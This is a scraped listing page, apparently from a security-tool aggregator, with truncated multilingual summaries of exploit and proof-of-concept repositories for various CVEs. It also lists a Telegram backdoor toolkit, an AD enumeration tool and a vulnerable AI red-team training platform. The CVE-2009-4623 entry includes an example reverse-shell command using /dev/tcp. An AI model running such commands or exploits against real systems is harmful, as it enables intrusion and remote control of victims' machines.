worldmonitor

World Monitor 简体中文 | 日本語 Глобальная панель разведданных в реальном времени — агрегация новостей на базе ИИ, геополитический мониторинг и отслеживание инфраструктуры в едином интерфейсе ситуационной осведомлённости. !Commodity...

CVE-2026-8206-Lab

CVE-2026-8206 - مختبر الاستيلاء على حساب Kirki مختبر Docker محلي لعرض CVE-2026-8206 في إضافة Kirki لووردبريس. يقارن هذا المستودع إصدارات إضافة Kirki الحقيقية: vuln: Kirki 6.0.6 patched: Kirki 6.0.7 المختبر محلي فقط ويربط خدمات ووردبريس بـ 127.0.0.1. إثبات المفهوم PoC هو الأقل ضررًا: يطلب إعادة...

CVE-2026-20700-POC-that-ll-never-work

이 저장소에는 README가 없습니다...

Samba-CVE-2007-2447-Exploit

سامبا استغلال CVE-2007-2447 هذا نص بايثون لاستغلال CVE-2007-2447، وهي ثغرة أمنية تُعرف باسم تنفيذ أوامر سكريبت خريطة 'اسم المستخدم' في خادم سامبا. الوصف تم تطوير هذا الاستغلال لاستهداف إصدارات سامبا 3.x - 4.x. تسمح CVE-2007-2447 للمهاجم بتنفيذ أوامر عشوائية على خادم سامبا ضعيف عن طريق صياغة اسم...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 RCE Описание Adobe Commerce версии 2.4.3-p1 и более ранние и 2.3.7-p2 и более ранние подвержены уязвимости неправильной проверки ввода в процессе оформления заказа. Эксплуатация этой уязвимости не требует взаимодействия с пользователем и может привести к выполнен...

CVE-2009-4623

نظام التعليقات المتقدم 1.0 - تنفيذ أوامر عن بُعد RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 أمثلة root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2025-48384

نظرة عامة على CVE-2025-48384 CVE-2025-48384 هي ثغرة أمنية خطيرة في Git، نظام التحكم في الإصدارات الموزعة واسع الاستخدام. تتضمن معالجة غير سليمة لأحرف الإرجاع CR في قيم التهيئة، مما قد يؤدي إلى مشكلات في اجتياز المسار أثناء عمليات سحب الوحدات الفرعية. يسمح هذا الخلل بتطبيق تعليمات برمجية عشوائية...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Exécution de code à distance non authentifiée dans Oracle E-Business Suite CVSS 9.8 CRITIQUE Vue d'ensemble CVE-2025-61882 est une vulnérabilité d'exécution de code à distance non authentifiée dans Oracle E-Business Suite EBS, affectant les composants Concurrent Processing et BI...

DVAP

DVAP - منصة الذكاء الاصطناعي الضعيفة الخطورة درِّب. اخترق. دافع. أنظمة الذكاء الاصطناعي. منصة مفتوحة المصدر للتدريب على أمن الذكاء الاصطناعي، والفرق الحمراء/الزرقاء، وCTF، والقياس، والبحث. تعمل محليًا بنسبة 100%. لا سحابة، لا واجهات برمجية مدفوعة، لا تغادر بياناتك جهازك. المتطلبات الأساسية Docker...

bt2

bt2: مجموعة أدوات الباب الخلفي لتليغرام من Blaze bt2 هو باب خلفي مبني على بايثون على شكل بوت مراسلة فورية يستخدم البنية التحتية وواجهة برمجة تطبيقات البوت الغنية بالميزات التي يوفرها تليغرام، مع إعادة استخدام منصة الاتصال الخاصة به قليلاً لتعمل كمركز تحكم وأوامر C&C. التبعيات Telepot requests...

wappalyzer-next

Wappalyzer Next هذا المشروع هو أداة سطر أوامر ومكتبة بايثون تستخدم إضافة المتصفح Wappalyzer وبصماتها للكشف عن التقنيات. المشاريع الأخرى التي ظهرت بعد إيقاف المشروع الرسمي مفتوح المصدر تستخدم بصمات قديمة وتفتقر إلى الدقة في تطبيقات الويب الديناميكية. هذا المشروع يتجاوز هذه القيود عن طريق تشغيل...

CVE-2022-29072

INFORMATIONS Je n'ai posté aucun code de preuve de concept PoC pour l'attaque d'élévation de privilèges. Les codes PoC trouvés n'ont rien à voir avec l'élévation de privilèges. Pour votre information. À propos de 7-Zip 7-Zip est un archiveur de fichiers gratuit et libre. La version en ligne de...

CVE-2025-39964_EXP

이 저장소에는 README가 없습니다...

system_bt_AOSP10_r33_CVE-2020-0413

مكدس بلوتوث Fluoride البناء والتشغيل على AOSP ما عليك سوى بناء AOSP - فـ Fluoride موجود هناك افتراضيًا. البناء والتشغيل على Linux إرشادات لـ Ubuntu، تم اختبارها على 14.04 مع Clang 3.5.0 وعلى 16.10 مع Clang 3.8.0 تنزيل المصدر root@kitploit: mkdir /fluoride cd /fluoride git clone...

TestCitrixException

اختبار استثناء سيتريكس اختبار تخفيف CVE-2025-6759 توثيق سيتريكس حول CVE-2025-6759 يحتوي على تخفيف بديل عن طريق تعطيل معالج استثناءات سيتريكس من السجل. ومع ذلك، لا يجيب هذا التوثيق على السؤال: هل يتطلب هذا التغيير إعادة تشغيل خدمة VDA أو الخادم أم لا؟ لذلك تم بناء هذه الأداة لاختباره. المصادر:...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server Jouez avec react2shell dans un environnement sécurisé ! Démarrage rapide Clonez le dépôt root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Exécutez le fichier docker root@kitploit: docker compose up...

CVE-2023-1326-PoC

CVE-2023-1326-PoC إثبات مفهوم لـ CVE-2023–1326 في apport-cli 2.26.0 هذه الثغرة هي تصعيد صلاحيات في apport-cli 2.26.0، وهي مشابهة لـ CVE-2023–26604، وتعمل هذه الثغرة فقط إذا تم تعيينها في sudoers: تم العثور على هجوم تصعيد صلاحيات في apport-cli 2.26.0 والإصدارات السابقة، وهو مشابه لـ CVE-2023-26604...

archivo-syxe05-snat

SyXe'05 / Snat Reverse Engineering Archive أرشيف تاريخي لدروس الهندسة العكسية وفك التغليف كتبت أصلاً باسمي المستعار SyXe'05 ثم Snat. نُشرت النصوص أصلاً في مجتمعات تقنية مختلفة في ذلك الوقت، ولا سيما داخل CracksLatinos ، والآن تم إعادة بنائها وأرشفتها في هذا المستودع للحفاظ عليها. Repositorio:...

PowEnum

PowEnum غالبًا ما يقوم مختبرو الاختراق بتعداد بيانات AD – مما يوفر وعيًا ميدانيًا بالمجال ويساعد في تحديد الأهداف الضعيفة. يساعد PowEnum في أتمتة العرض الخرائطي لمجال الهدف. يقوم PowEnum بتنفيذ وظائف PowerSploit Powerview الشائعة ويجمع المخرجات في جدول بيانات لتحليل سهل. يتم إرسال كل حركة مرور...

macnoise

MacNoise MacNoise generates real macOS telemetry: network connections, file writes, process spawns, plist mutations, TCC probes, and more. Point it at a machine running your EDR, SIEM, or firewall stack and see what actually fires - not what the vendor datasheet claims will fire. For background o...